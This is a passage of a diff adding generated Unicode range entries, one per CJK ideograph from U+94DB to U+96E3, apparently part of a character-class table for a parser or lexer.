+ ["\u94DB", "\u94DB"], /* CJK Ideograph */
+ ["\u94DC", "\u94DC"], /* CJK Ideograph */
+ ["\u94DD", "\u94DD"], /* CJK Ideograph */
+ ["\u94DE", "\u94DE"], /* CJK Ideograph */
+ ["\u94DF", "\u94DF"], /* CJK Ideograph */
+ ["\u94E0", "\u94E0"], /* CJK Ideograph */
+ ["\u94E1", "\u94E1"], /* CJK Ideograph */
+ ["\u94E2", "\u94E2"], /* CJK Ideograph */
+ ["\u94E3", "\u94E3"], /* CJK Ideograph */
+ ["\u94E4", "\u94E4"], /* CJK Ideograph */
+ ["\u94E5", "\u94E5"], /* CJK Ideograph */
+ ["\u94E6", "\u94E6"], /* CJK Ideograph */
+ ["\u94E7", "\u94E7"], /* CJK Ideograph */
+ ["\u94E8", "\u94E8"], /* CJK Ideograph */
+ ["\u94E9", "\u94E9"], /* CJK Ideograph */
+ ["\u94EA", "\u94EA"], /* CJK Ideograph */
+ ["\u94EB", "\u94EB"], /* CJK Ideograph */
+ ["\u94EC", "\u94EC"], /* CJK Ideograph */
+ ["\u94ED", "\u94ED"], /* CJK Ideograph */
+ ["\u94EE", "\u94EE"], /* CJK Ideograph */
+ ["\u94EF", "\u94EF"], /* CJK Ideograph */
+ ["\u94F0", "\u94F0"], /* CJK Ideograph */
+ ["\u94F1", "\u94F1"], /* CJK Ideograph */
+ ["\u94F2", "\u94F2"], /* CJK Ideograph */
+ ["\u94F3", "\u94F3"], /* CJK Ideograph */
+ ["\u94F4", "\u94F4"], /* CJK Ideograph */
+ ["\u94F5", "\u94F5"], /* CJK Ideograph */
+ ["\u94F6", "\u94F6"], /* CJK Ideograph */
+ ["\u94F7", "\u94F7"], /* CJK Ideograph */
+ ["\u94F8", "\u94F8"], /* CJK Ideograph */
+ ["\u94F9", "\u94F9"], /* CJK Ideograph */
+ ["\u94FA", "\u94FA"], /* CJK Ideograph */
+ ["\u94FB", "\u94FB"], /* CJK Ideograph */
+ ["\u94FC", "\u94FC"], /* CJK Ideograph */
+ ["\u94FD", "\u94FD"], /* CJK Ideograph */
+ ["\u94FE", "\u94FE"], /* CJK Ideograph */
+ ["\u94FF", "\u94FF"], /* CJK Ideograph */
+ ["\u9500", "\u9500"], /* CJK Ideograph */
+ ["\u9501", "\u9501"], /* CJK Ideograph */
+ ["\u9502", "\u9502"], /* CJK Ideograph */
+ ["\u9503", "\u9503"], /* CJK Ideograph */
+ ["\u9504", "\u9504"], /* CJK Ideograph */
+ ["\u9505", "\u9505"], /* CJK Ideograph */
+ ["\u9506", "\u9506"], /* CJK Ideograph */
+ ["\u9507", "\u9507"], /* CJK Ideograph */
+ ["\u9508", "\u9508"], /* CJK Ideograph */
+ ["\u9509", "\u9509"], /* CJK Ideograph */
+ ["\u950A", "\u950A"], /* CJK Ideograph */
+ ["\u950B", "\u950B"], /* CJK Ideograph */
+ ["\u950C", "\u950C"], /* CJK Ideograph */
+ ["\u950D", "\u950D"], /* CJK Ideograph */
+ ["\u950E", "\u950E"], /* CJK Ideograph */
+ ["\u950F", "\u950F"], /* CJK Ideograph */
+ ["\u9510", "\u9510"], /* CJK Ideograph */
+ ["\u9511", "\u9511"], /* CJK Ideograph */
+ ["\u9512", "\u9512"], /* CJK Ideograph */
+ ["\u9513", "\u9513"], /* CJK Ideograph */
+ ["\u9514", "\u9514"], /* CJK Ideograph */
+ ["\u9515", "\u9515"], /* CJK Ideograph */
+ ["\u9516", "\u9516"], /* CJK Ideograph */
+ ["\u9517", "\u9517"], /* CJK Ideograph */
+ ["\u9518", "\u9518"], /* CJK Ideograph */
+ ["\u9519", "\u9519"], /* CJK Ideograph */
+ ["\u951A", "\u951A"], /* CJK Ideograph */
+ ["\u951B", "\u951B"], /* CJK Ideograph */
+ ["\u951C", "\u951C"], /* CJK Ideograph */
+ ["\u951D", "\u951D"], /* CJK Ideograph */
+ ["\u951E", "\u951E"], /* CJK Ideograph */
+ ["\u951F", "\u951F"], /* CJK Ideograph */
+ ["\u9520", "\u9520"], /* CJK Ideograph */
+ ["\u9521", "\u9521"], /* CJK Ideograph */
+ ["\u9522", "\u9522"], /* CJK Ideograph */
+ ["\u9523", "\u9523"], /* CJK Ideograph */
+ ["\u9524", "\u9524"], /* CJK Ideograph */
+ ["\u9525", "\u9525"], /* CJK Ideograph */
+ ["\u9526", "\u9526"], /* CJK Ideograph */
+ ["\u9527", "\u9527"], /* CJK Ideograph */
+ ["\u9528", "\u9528"], /* CJK Ideograph */
+ ["\u9529", "\u9529"], /* CJK Ideograph */
+ ["\u952A", "\u952A"], /* CJK Ideograph */
+ ["\u952B", "\u952B"], /* CJK Ideograph */
+ ["\u952C", "\u952C"], /* CJK Ideograph */
+ ["\u952D", "\u952D"], /* CJK Ideograph */
+ ["\u952E", "\u952E"], /* CJK Ideograph */
+ ["\u952F", "\u952F"], /* CJK Ideograph */
+ ["\u9530", "\u9530"], /* CJK Ideograph */
+ ["\u9531", "\u9531"], /* CJK Ideograph */
+ ["\u9532", "\u9532"], /* CJK Ideograph */
+ ["\u9533", "\u9533"], /* CJK Ideograph */
+ ["\u9534", "\u9534"], /* CJK Ideograph */
+ ["\u9535", "\u9535"], /* CJK Ideograph */
+ ["\u9536", "\u9536"], /* CJK Ideograph */
+ ["\u9537", "\u9537"], /* CJK Ideograph */
+ ["\u9538", "\u9538"], /* CJK Ideograph */
+ ["\u9539", "\u9539"], /* CJK Ideograph */
+ ["\u953A", "\u953A"], /* CJK Ideograph */
+ ["\u953B", "\u953B"], /* CJK Ideograph */
+ ["\u953C", "\u953C"], /* CJK Ideograph */
+ ["\u953D", "\u953D"], /* CJK Ideograph */
+ ["\u953E", "\u953E"], /* CJK Ideograph */
+ ["\u953F", "\u953F"], /* CJK Ideograph */
+ ["\u9540", "\u9540"], /* CJK Ideograph */
+ ["\u9541", "\u9541"], /* CJK Ideograph */
+ ["\u9542", "\u9542"], /* CJK Ideograph */
+ ["\u9543", "\u9543"], /* CJK Ideograph */
+ ["\u9544", "\u9544"], /* CJK Ideograph */
+ ["\u9545", "\u9545"], /* CJK Ideograph */
+ ["\u9546", "\u9546"], /* CJK Ideograph */
+ ["\u9547", "\u9547"], /* CJK Ideograph */
+ ["\u9548", "\u9548"], /* CJK Ideograph */
+ ["\u9549", "\u9549"], /* CJK Ideograph */
+ ["\u954A", "\u954A"], /* CJK Ideograph */
+ ["\u954B", "\u954B"], /* CJK Ideograph */
+ ["\u954C", "\u954C"], /* CJK Ideograph */
+ ["\u954D", "\u954D"], /* CJK Ideograph */
+ ["\u954E", "\u954E"], /* CJK Ideograph */
+ ["\u954F", "\u954F"], /* CJK Ideograph */
+ ["\u9550", "\u9550"], /* CJK Ideograph */
+ ["\u9551", "\u9551"], /* CJK Ideograph */
+ ["\u9552", "\u9552"], /* CJK Ideograph */
+ ["\u9553", "\u9553"], /* CJK Ideograph */
+ ["\u9554", "\u9554"], /* CJK Ideograph */
+ ["\u9555", "\u9555"], /* CJK Ideograph */
+ ["\u9556", "\u9556"], /* CJK Ideograph */
+ ["\u9557", "\u9557"], /* CJK Ideograph */
+ ["\u9558", "\u9558"], /* CJK Ideograph */
+ ["\u9559", "\u9559"], /* CJK Ideograph */
+ ["\u955A", "\u955A"], /* CJK Ideograph */
+ ["\u955B", "\u955B"], /* CJK Ideograph */
+ ["\u955C", "\u955C"], /* CJK Ideograph */
+ ["\u955D", "\u955D"], /* CJK Ideograph */
+ ["\u955E", "\u955E"], /* CJK Ideograph */
+ ["\u955F", "\u955F"], /* CJK Ideograph */
+ ["\u9560", "\u9560"], /* CJK Ideograph */
+ ["\u9561", "\u9561"], /* CJK Ideograph */
+ ["\u9562", "\u9562"], /* CJK Ideograph */
+ ["\u9563", "\u9563"], /* CJK Ideograph */
+ ["\u9564", "\u9564"], /* CJK Ideograph */
+ ["\u9565", "\u9565"], /* CJK Ideograph */
+ ["\u9566", "\u9566"], /* CJK Ideograph */
+ ["\u9567", "\u9567"], /* CJK Ideograph */
+ ["\u9568", "\u9568"], /* CJK Ideograph */
+ ["\u9569", "\u9569"], /* CJK Ideograph */
+ ["\u956A", "\u956A"], /* CJK Ideograph */
+ ["\u956B", "\u956B"], /* CJK Ideograph */
+ ["\u956C", "\u956C"], /* CJK Ideograph */
+ ["\u956D", "\u956D"], /* CJK Ideograph */
+ ["\u956E", "\u956E"], /* CJK Ideograph */
+ ["\u956F", "\u956F"], /* CJK Ideograph */
+ ["\u9570", "\u9570"], /* CJK Ideograph */
+ ["\u9571", "\u9571"], /* CJK Ideograph */
+ ["\u9572", "\u9572"], /* CJK Ideograph */
+ ["\u9573", "\u9573"], /* CJK Ideograph */
+ ["\u9574", "\u9574"], /* CJK Ideograph */
+ ["\u9575", "\u9575"], /* CJK Ideograph */
+ ["\u9576", "\u9576"], /* CJK Ideograph */
+ ["\u9577", "\u9577"], /* CJK Ideograph */
+ ["\u9578", "\u9578"], /* CJK Ideograph */
+ ["\u9579", "\u9579"], /* CJK Ideograph */
+ ["\u957A", "\u957A"], /* CJK Ideograph */
+ ["\u957B", "\u957B"], /* CJK Ideograph */
+ ["\u957C", "\u957C"], /* CJK Ideograph */
+ ["\u957D", "\u957D"], /* CJK Ideograph */
+ ["\u957E", "\u957E"], /* CJK Ideograph */
+ ["\u957F", "\u957F"], /* CJK Ideograph */
+ ["\u9580", "\u9580"], /* CJK Ideograph */
+ ["\u9581", "\u9581"], /* CJK Ideograph */
+ ["\u9582", "\u9582"], /* CJK Ideograph */
+ ["\u9583", "\u9583"], /* CJK Ideograph */
+ ["\u9584", "\u9584"], /* CJK Ideograph */
+ ["\u9585", "\u9585"], /* CJK Ideograph */
+ ["\u9586", "\u9586"], /* CJK Ideograph */
+ ["\u9587", "\u9587"], /* CJK Ideograph */
+ ["\u9588", "\u9588"], /* CJK Ideograph */
+ ["\u9589", "\u9589"], /* CJK Ideograph */
+ ["\u958A", "\u958A"], /* CJK Ideograph */
+ ["\u958B", "\u958B"], /* CJK Ideograph */
+ ["\u958C", "\u958C"], /* CJK Ideograph */
+ ["\u958D", "\u958D"], /* CJK Ideograph */
+ ["\u958E", "\u958E"], /* CJK Ideograph */
+ ["\u958F", "\u958F"], /* CJK Ideograph */
+ ["\u9590", "\u9590"], /* CJK Ideograph */
+ ["\u9591", "\u9591"], /* CJK Ideograph */
+ ["\u9592", "\u9592"], /* CJK Ideograph */
+ ["\u9593", "\u9593"], /* CJK Ideograph */
+ ["\u9594", "\u9594"], /* CJK Ideograph */
+ ["\u9595", "\u9595"], /* CJK Ideograph */
+ ["\u9596", "\u9596"], /* CJK Ideograph */
+ ["\u9597", "\u9597"], /* CJK Ideograph */
+ ["\u9598", "\u9598"], /* CJK Ideograph */
+ ["\u9599", "\u9599"], /* CJK Ideograph */
+ ["\u959A", "\u959A"], /* CJK Ideograph */
+ ["\u959B", "\u959B"], /* CJK Ideograph */
+ ["\u959C", "\u959C"], /* CJK Ideograph */
+ ["\u959D", "\u959D"], /* CJK Ideograph */
+ ["\u959E", "\u959E"], /* CJK Ideograph */
+ ["\u959F", "\u959F"], /* CJK Ideograph */
+ ["\u95A0", "\u95A0"], /* CJK Ideograph */
+ ["\u95A1", "\u95A1"], /* CJK Ideograph */
+ ["\u95A2", "\u95A2"], /* CJK Ideograph */
+ ["\u95A3", "\u95A3"], /* CJK Ideograph */
+ ["\u95A4", "\u95A4"], /* CJK Ideograph */
+ ["\u95A5", "\u95A5"], /* CJK Ideograph */
+ ["\u95A6", "\u95A6"], /* CJK Ideograph */
+ ["\u95A7", "\u95A7"], /* CJK Ideograph */
+ ["\u95A8", "\u95A8"], /* CJK Ideograph */
+ ["\u95A9", "\u95A9"], /* CJK Ideograph */
+ ["\u95AA", "\u95AA"], /* CJK Ideograph */
+ ["\u95AB", "\u95AB"], /* CJK Ideograph */
+ ["\u95AC", "\u95AC"], /* CJK Ideograph */
+ ["\u95AD", "\u95AD"], /* CJK Ideograph */
+ ["\u95AE", "\u95AE"], /* CJK Ideograph */
+ ["\u95AF", "\u95AF"], /* CJK Ideograph */
+ ["\u95B0", "\u95B0"], /* CJK Ideograph */
+ ["\u95B1", "\u95B1"], /* CJK Ideograph */
+ ["\u95B2", "\u95B2"], /* CJK Ideograph */
+ ["\u95B3", "\u95B3"], /* CJK Ideograph */
+ ["\u95B4", "\u95B4"], /* CJK Ideograph */
+ ["\u95B5", "\u95B5"], /* CJK Ideograph */
+ ["\u95B6", "\u95B6"], /* CJK Ideograph */
+ ["\u95B7", "\u95B7"], /* CJK Ideograph */
+ ["\u95B8", "\u95B8"], /* CJK Ideograph */
+ ["\u95B9", "\u95B9"], /* CJK Ideograph */
+ ["\u95BA", "\u95BA"], /* CJK Ideograph */
+ ["\u95BB", "\u95BB"], /* CJK Ideograph */
+ ["\u95BC", "\u95BC"], /* CJK Ideograph */
+ ["\u95BD", "\u95BD"], /* CJK Ideograph */
+ ["\u95BE", "\u95BE"], /* CJK Ideograph */
+ ["\u95BF", "\u95BF"], /* CJK Ideograph */
+ ["\u95C0", "\u95C0"], /* CJK Ideograph */
+ ["\u95C1", "\u95C1"], /* CJK Ideograph */
+ ["\u95C2", "\u95C2"], /* CJK Ideograph */
+ ["\u95C3", "\u95C3"], /* CJK Ideograph */
+ ["\u95C4", "\u95C4"], /* CJK Ideograph */
+ ["\u95C5", "\u95C5"], /* CJK Ideograph */
+ ["\u95C6", "\u95C6"], /* CJK Ideograph */
+ ["\u95C7", "\u95C7"], /* CJK Ideograph */
+ ["\u95C8", "\u95C8"], /* CJK Ideograph */
+ ["\u95C9", "\u95C9"], /* CJK Ideograph */
+ ["\u95CA", "\u95CA"], /* CJK Ideograph */
+ ["\u95CB", "\u95CB"], /* CJK Ideograph */
+ ["\u95CC", "\u95CC"], /* CJK Ideograph */
+ ["\u95CD", "\u95CD"], /* CJK Ideograph */
+ ["\u95CE", "\u95CE"], /* CJK Ideograph */
+ ["\u95CF", "\u95CF"], /* CJK Ideograph */
+ ["\u95D0", "\u95D0"], /* CJK Ideograph */
+ ["\u95D1", "\u95D1"], /* CJK Ideograph */
+ ["\u95D2", "\u95D2"], /* CJK Ideograph */
+ ["\u95D3", "\u95D3"], /* CJK Ideograph */
+ ["\u95D4", "\u95D4"], /* CJK Ideograph */
+ ["\u95D5", "\u95D5"], /* CJK Ideograph */
+ ["\u95D6", "\u95D6"], /* CJK Ideograph */
+ ["\u95D7", "\u95D7"], /* CJK Ideograph */
+ ["\u95D8", "\u95D8"], /* CJK Ideograph */
+ ["\u95D9", "\u95D9"], /* CJK Ideograph */
+ ["\u95DA", "\u95DA"], /* CJK Ideograph */
+ ["\u95DB", "\u95DB"], /* CJK Ideograph */
+ ["\u95DC", "\u95DC"], /* CJK Ideograph */
+ ["\u95DD", "\u95DD"], /* CJK Ideograph */
+ ["\u95DE", "\u95DE"], /* CJK Ideograph */
+ ["\u95DF", "\u95DF"], /* CJK Ideograph */
+ ["\u95E0", "\u95E0"], /* CJK Ideograph */
+ ["\u95E1", "\u95E1"], /* CJK Ideograph */
+ ["\u95E2", "\u95E2"], /* CJK Ideograph */
+ ["\u95E3", "\u95E3"], /* CJK Ideograph */
+ ["\u95E4", "\u95E4"], /* CJK Ideograph */
+ ["\u95E5", "\u95E5"], /* CJK Ideograph */
+ ["\u95E6", "\u95E6"], /* CJK Ideograph */
+ ["\u95E7", "\u95E7"], /* CJK Ideograph */
+ ["\u95E8", "\u95E8"], /* CJK Ideograph */
+ ["\u95E9", "\u95E9"], /* CJK Ideograph */
+ ["\u95EA", "\u95EA"], /* CJK Ideograph */
+ ["\u95EB", "\u95EB"], /* CJK Ideograph */
+ ["\u95EC", "\u95EC"], /* CJK Ideograph */
+ ["\u95ED", "\u95ED"], /* CJK Ideograph */
+ ["\u95EE", "\u95EE"], /* CJK Ideograph */
+ ["\u95EF", "\u95EF"], /* CJK Ideograph */
+ ["\u95F0", "\u95F0"], /* CJK Ideograph */
+ ["\u95F1", "\u95F1"], /* CJK Ideograph */
+ ["\u95F2", "\u95F2"], /* CJK Ideograph */
+ ["\u95F3", "\u95F3"], /* CJK Ideograph */
+ ["\u95F4", "\u95F4"], /* CJK Ideograph */
+ ["\u95F5", "\u95F5"], /* CJK Ideograph */
+ ["\u95F6", "\u95F6"], /* CJK Ideograph */
+ ["\u95F7", "\u95F7"], /* CJK Ideograph */
+ ["\u95F8", "\u95F8"], /* CJK Ideograph */
+ ["\u95F9", "\u95F9"], /* CJK Ideograph */
+ ["\u95FA", "\u95FA"], /* CJK Ideograph */
+ ["\u95FB", "\u95FB"], /* CJK Ideograph */
+ ["\u95FC", "\u95FC"], /* CJK Ideograph */
+ ["\u95FD", "\u95FD"], /* CJK Ideograph */
+ ["\u95FE", "\u95FE"], /* CJK Ideograph */
+ ["\u95FF", "\u95FF"], /* CJK Ideograph */
+ ["\u9600", "\u9600"], /* CJK Ideograph */
+ ["\u9601", "\u9601"], /* CJK Ideograph */
+ ["\u9602", "\u9602"], /* CJK Ideograph */
+ ["\u9603", "\u9603"], /* CJK Ideograph */
+ ["\u9604", "\u9604"], /* CJK Ideograph */
+ ["\u9605", "\u9605"], /* CJK Ideograph */
+ ["\u9606", "\u9606"], /* CJK Ideograph */
+ ["\u9607", "\u9607"], /* CJK Ideograph */
+ ["\u9608", "\u9608"], /* CJK Ideograph */
+ ["\u9609", "\u9609"], /* CJK Ideograph */
+ ["\u960A", "\u960A"], /* CJK Ideograph */
+ ["\u960B", "\u960B"], /* CJK Ideograph */
+ ["\u960C", "\u960C"], /* CJK Ideograph */
+ ["\u960D", "\u960D"], /* CJK Ideograph */
+ ["\u960E", "\u960E"], /* CJK Ideograph */
+ ["\u960F", "\u960F"], /* CJK Ideograph */
+ ["\u9610", "\u9610"], /* CJK Ideograph */
+ ["\u9611", "\u9611"], /* CJK Ideograph */
+ ["\u9612", "\u9612"], /* CJK Ideograph */
+ ["\u9613", "\u9613"], /* CJK Ideograph */
+ ["\u9614", "\u9614"], /* CJK Ideograph */
+ ["\u9615", "\u9615"], /* CJK Ideograph */
+ ["\u9616", "\u9616"], /* CJK Ideograph */
+ ["\u9617", "\u9617"], /* CJK Ideograph */
+ ["\u9618", "\u9618"], /* CJK Ideograph */
+ ["\u9619", "\u9619"], /* CJK Ideograph */
+ ["\u961A", "\u961A"], /* CJK Ideograph */
+ ["\u961B", "\u961B"], /* CJK Ideograph */
+ ["\u961C", "\u961C"], /* CJK Ideograph */
+ ["\u961D", "\u961D"], /* CJK Ideograph */
+ ["\u961E", "\u961E"], /* CJK Ideograph */
+ ["\u961F", "\u961F"], /* CJK Ideograph */
+ ["\u9620", "\u9620"], /* CJK Ideograph */
+ ["\u9621", "\u9621"], /* CJK Ideograph */
+ ["\u9622", "\u9622"], /* CJK Ideograph */
+ ["\u9623", "\u9623"], /* CJK Ideograph */
+ ["\u9624", "\u9624"], /* CJK Ideograph */
+ ["\u9625", "\u9625"], /* CJK Ideograph */
+ ["\u9626", "\u9626"], /* CJK Ideograph */
+ ["\u9627", "\u9627"], /* CJK Ideograph */
+ ["\u9628", "\u9628"], /* CJK Ideograph */
+ ["\u9629", "\u9629"], /* CJK Ideograph */
+ ["\u962A", "\u962A"], /* CJK Ideograph */
+ ["\u962B", "\u962B"], /* CJK Ideograph */
+ ["\u962C", "\u962C"], /* CJK Ideograph */
+ ["\u962D", "\u962D"], /* CJK Ideograph */
+ ["\u962E", "\u962E"], /* CJK Ideograph */
+ ["\u962F", "\u962F"], /* CJK Ideograph */
+ ["\u9630", "\u9630"], /* CJK Ideograph */
+ ["\u9631", "\u9631"], /* CJK Ideograph */
+ ["\u9632", "\u9632"], /* CJK Ideograph */
+ ["\u9633", "\u9633"], /* CJK Ideograph */
+ ["\u9634", "\u9634"], /* CJK Ideograph */
+ ["\u9635", "\u9635"], /* CJK Ideograph */
+ ["\u9636", "\u9636"], /* CJK Ideograph */
+ ["\u9637", "\u9637"], /* CJK Ideograph */
+ ["\u9638", "\u9638"], /* CJK Ideograph */
+ ["\u9639", "\u9639"], /* CJK Ideograph */
+ ["\u963A", "\u963A"], /* CJK Ideograph */
+ ["\u963B", "\u963B"], /* CJK Ideograph */
+ ["\u963C", "\u963C"], /* CJK Ideograph */
+ ["\u963D", "\u963D"], /* CJK Ideograph */
+ ["\u963E", "\u963E"], /* CJK Ideograph */
+ ["\u963F", "\u963F"], /* CJK Ideograph */
+ ["\u9640", "\u9640"], /* CJK Ideograph */
+ ["\u9641", "\u9641"], /* CJK Ideograph */
+ ["\u9642", "\u9642"], /* CJK Ideograph */
+ ["\u9643", "\u9643"], /* CJK Ideograph */
+ ["\u9644", "\u9644"], /* CJK Ideograph */
+ ["\u9645", "\u9645"], /* CJK Ideograph */
+ ["\u9646", "\u9646"], /* CJK Ideograph */
+ ["\u9647", "\u9647"], /* CJK Ideograph */
+ ["\u9648", "\u9648"], /* CJK Ideograph */
+ ["\u9649", "\u9649"], /* CJK Ideograph */
+ ["\u964A", "\u964A"], /* CJK Ideograph */
+ ["\u964B", "\u964B"], /* CJK Ideograph */
+ ["\u964C", "\u964C"], /* CJK Ideograph */
+ ["\u964D", "\u964D"], /* CJK Ideograph */
+ ["\u964E", "\u964E"], /* CJK Ideograph */
+ ["\u964F", "\u964F"], /* CJK Ideograph */
+ ["\u9650", "\u9650"], /* CJK Ideograph */
+ ["\u9651", "\u9651"], /* CJK Ideograph */
+ ["\u9652", "\u9652"], /* CJK Ideograph */
+ ["\u9653", "\u9653"], /* CJK Ideograph */
+ ["\u9654", "\u9654"], /* CJK Ideograph */
+ ["\u9655", "\u9655"], /* CJK Ideograph */
+ ["\u9656", "\u9656"], /* CJK Ideograph */
+ ["\u9657", "\u9657"], /* CJK Ideograph */
+ ["\u9658", "\u9658"], /* CJK Ideograph */
+ ["\u9659", "\u9659"], /* CJK Ideograph */
+ ["\u965A", "\u965A"], /* CJK Ideograph */
+ ["\u965B", "\u965B"], /* CJK Ideograph */
+ ["\u965C", "\u965C"], /* CJK Ideograph */
+ ["\u965D", "\u965D"], /* CJK Ideograph */
+ ["\u965E", "\u965E"], /* CJK Ideograph */
+ ["\u965F", "\u965F"], /* CJK Ideograph */
+ ["\u9660", "\u9660"], /* CJK Ideograph */
+ ["\u9661", "\u9661"], /* CJK Ideograph */
+ ["\u9662", "\u9662"], /* CJK Ideograph */
+ ["\u9663", "\u9663"], /* CJK Ideograph */
+ ["\u9664", "\u9664"], /* CJK Ideograph */
+ ["\u9665", "\u9665"], /* CJK Ideograph */
+ ["\u9666", "\u9666"], /* CJK Ideograph */
+ ["\u9667", "\u9667"], /* CJK Ideograph */
+ ["\u9668", "\u9668"], /* CJK Ideograph */
+ ["\u9669", "\u9669"], /* CJK Ideograph */
+ ["\u966A", "\u966A"], /* CJK Ideograph */
+ ["\u966B", "\u966B"], /* CJK Ideograph */
+ ["\u966C", "\u966C"], /* CJK Ideograph */
+ ["\u966D", "\u966D"], /* CJK Ideograph */
+ ["\u966E", "\u966E"], /* CJK Ideograph */
+ ["\u966F", "\u966F"], /* CJK Ideograph */
+ ["\u9670", "\u9670"], /* CJK Ideograph */
+ ["\u9671", "\u9671"], /* CJK Ideograph */
+ ["\u9672", "\u9672"], /* CJK Ideograph */
+ ["\u9673", "\u9673"], /* CJK Ideograph */
+ ["\u9674", "\u9674"], /* CJK Ideograph */
+ ["\u9675", "\u9675"], /* CJK Ideograph */
+ ["\u9676", "\u9676"], /* CJK Ideograph */
+ ["\u9677", "\u9677"], /* CJK Ideograph */
+ ["\u9678", "\u9678"], /* CJK Ideograph */
+ ["\u9679", "\u9679"], /* CJK Ideograph */
+ ["\u967A", "\u967A"], /* CJK Ideograph */
+ ["\u967B", "\u967B"], /* CJK Ideograph */
+ ["\u967C", "\u967C"], /* CJK Ideograph */
+ ["\u967D", "\u967D"], /* CJK Ideograph */
+ ["\u967E", "\u967E"], /* CJK Ideograph */
+ ["\u967F", "\u967F"], /* CJK Ideograph */
+ ["\u9680", "\u9680"], /* CJK Ideograph */
+ ["\u9681", "\u9681"], /* CJK Ideograph */
+ ["\u9682", "\u9682"], /* CJK Ideograph */
+ ["\u9683", "\u9683"], /* CJK Ideograph */
+ ["\u9684", "\u9684"], /* CJK Ideograph */
+ ["\u9685", "\u9685"], /* CJK Ideograph */
+ ["\u9686", "\u9686"], /* CJK Ideograph */
+ ["\u9687", "\u9687"], /* CJK Ideograph */
+ ["\u9688", "\u9688"], /* CJK Ideograph */
+ ["\u9689", "\u9689"], /* CJK Ideograph */
+ ["\u968A", "\u968A"], /* CJK Ideograph */
+ ["\u968B", "\u968B"], /* CJK Ideograph */
+ ["\u968C", "\u968C"], /* CJK Ideograph */
+ ["\u968D", "\u968D"], /* CJK Ideograph */
+ ["\u968E", "\u968E"], /* CJK Ideograph */
+ ["\u968F", "\u968F"], /* CJK Ideograph */
+ ["\u9690", "\u9690"], /* CJK Ideograph */
+ ["\u9691", "\u9691"], /* CJK Ideograph */
+ ["\u9692", "\u9692"], /* CJK Ideograph */
+ ["\u9693", "\u9693"], /* CJK Ideograph */
+ ["\u9694", "\u9694"], /* CJK Ideograph */
+ ["\u9695", "\u9695"], /* CJK Ideograph */
+ ["\u9696", "\u9696"], /* CJK Ideograph */
+ ["\u9697", "\u9697"], /* CJK Ideograph */
+ ["\u9698", "\u9698"], /* CJK Ideograph */
+ ["\u9699", "\u9699"], /* CJK Ideograph */
+ ["\u969A", "\u969A"], /* CJK Ideograph */
+ ["\u969B", "\u969B"], /* CJK Ideograph */
+ ["\u969C", "\u969C"], /* CJK Ideograph */
+ ["\u969D", "\u969D"], /* CJK Ideograph */
+ ["\u969E", "\u969E"], /* CJK Ideograph */
+ ["\u969F", "\u969F"], /* CJK Ideograph */
+ ["\u96A0", "\u96A0"], /* CJK Ideograph */
+ ["\u96A1", "\u96A1"], /* CJK Ideograph */
+ ["\u96A2", "\u96A2"], /* CJK Ideograph */
+ ["\u96A3", "\u96A3"], /* CJK Ideograph */
+ ["\u96A4", "\u96A4"], /* CJK Ideograph */
+ ["\u96A5", "\u96A5"], /* CJK Ideograph */
+ ["\u96A6", "\u96A6"], /* CJK Ideograph */
+ ["\u96A7", "\u96A7"], /* CJK Ideograph */
+ ["\u96A8", "\u96A8"], /* CJK Ideograph */
+ ["\u96A9", "\u96A9"], /* CJK Ideograph */
+ ["\u96AA", "\u96AA"], /* CJK Ideograph */
+ ["\u96AB", "\u96AB"], /* CJK Ideograph */
+ ["\u96AC", "\u96AC"], /* CJK Ideograph */
+ ["\u96AD", "\u96AD"], /* CJK Ideograph */
+ ["\u96AE", "\u96AE"], /* CJK Ideograph */
+ ["\u96AF", "\u96AF"], /* CJK Ideograph */
+ ["\u96B0", "\u96B0"], /* CJK Ideograph */
+ ["\u96B1", "\u96B1"], /* CJK Ideograph */
+ ["\u96B2", "\u96B2"], /* CJK Ideograph */
+ ["\u96B3", "\u96B3"], /* CJK Ideograph */
+ ["\u96B4", "\u96B4"], /* CJK Ideograph */
+ ["\u96B5", "\u96B5"], /* CJK Ideograph */
+ ["\u96B6", "\u96B6"], /* CJK Ideograph */
+ ["\u96B7", "\u96B7"], /* CJK Ideograph */
+ ["\u96B8", "\u96B8"], /* CJK Ideograph */
+ ["\u96B9", "\u96B9"], /* CJK Ideograph */
+ ["\u96BA", "\u96BA"], /* CJK Ideograph */
+ ["\u96BB", "\u96BB"], /* CJK Ideograph */
+ ["\u96BC", "\u96BC"], /* CJK Ideograph */
+ ["\u96BD", "\u96BD"], /* CJK Ideograph */
+ ["\u96BE", "\u96BE"], /* CJK Ideograph */
+ ["\u96BF", "\u96BF"], /* CJK Ideograph */
+ ["\u96C0", "\u96C0"], /* CJK Ideograph */
+ ["\u96C1", "\u96C1"], /* CJK Ideograph */
+ ["\u96C2", "\u96C2"], /* CJK Ideograph */
+ ["\u96C3", "\u96C3"], /* CJK Ideograph */
+ ["\u96C4", "\u96C4"], /* CJK Ideograph */
+ ["\u96C5", "\u96C5"], /* CJK Ideograph */
+ ["\u96C6", "\u96C6"], /* CJK Ideograph */
+ ["\u96C7", "\u96C7"], /* CJK Ideograph */
+ ["\u96C8", "\u96C8"], /* CJK Ideograph */
+ ["\u96C9", "\u96C9"], /* CJK Ideograph */
+ ["\u96CA", "\u96CA"], /* CJK Ideograph */
+ ["\u96CB", "\u96CB"], /* CJK Ideograph */
+ ["\u96CC", "\u96CC"], /* CJK Ideograph */
+ ["\u96CD", "\u96CD"], /* CJK Ideograph */
+ ["\u96CE", "\u96CE"], /* CJK Ideograph */
+ ["\u96CF", "\u96CF"], /* CJK Ideograph */
+ ["\u96D0", "\u96D0"], /* CJK Ideograph */
+ ["\u96D1", "\u96D1"], /* CJK Ideograph */
+ ["\u96D2", "\u96D2"], /* CJK Ideograph */
+ ["\u96D3", "\u96D3"], /* CJK Ideograph */
+ ["\u96D4", "\u96D4"], /* CJK Ideograph */
+ ["\u96D5", "\u96D5"], /* CJK Ideograph */
+ ["\u96D6", "\u96D6"], /* CJK Ideograph */
+ ["\u96D7", "\u96D7"], /* CJK Ideograph */
+ ["\u96D8", "\u96D8"], /* CJK Ideograph */
+ ["\u96D9", "\u96D9"], /* CJK Ideograph */
+ ["\u96DA", "\u96DA"], /* CJK Ideograph */
+ ["\u96DB", "\u96DB"], /* CJK Ideograph */
+ ["\u96DC", "\u96DC"], /* CJK Ideograph */
+ ["\u96DD", "\u96DD"], /* CJK Ideograph */
+ ["\u96DE", "\u96DE"], /* CJK Ideograph */
+ ["\u96DF", "\u96DF"], /* CJK Ideograph */
+ ["\u96E0", "\u96E0"], /* CJK Ideograph */
+ ["\u96E1", "\u96E1"], /* CJK Ideograph */
+ ["\u96E2", "\u96E2"], /* CJK Ideograph */
+ ["\u96E3", "\u96E3"], /* CJK Ideograph */
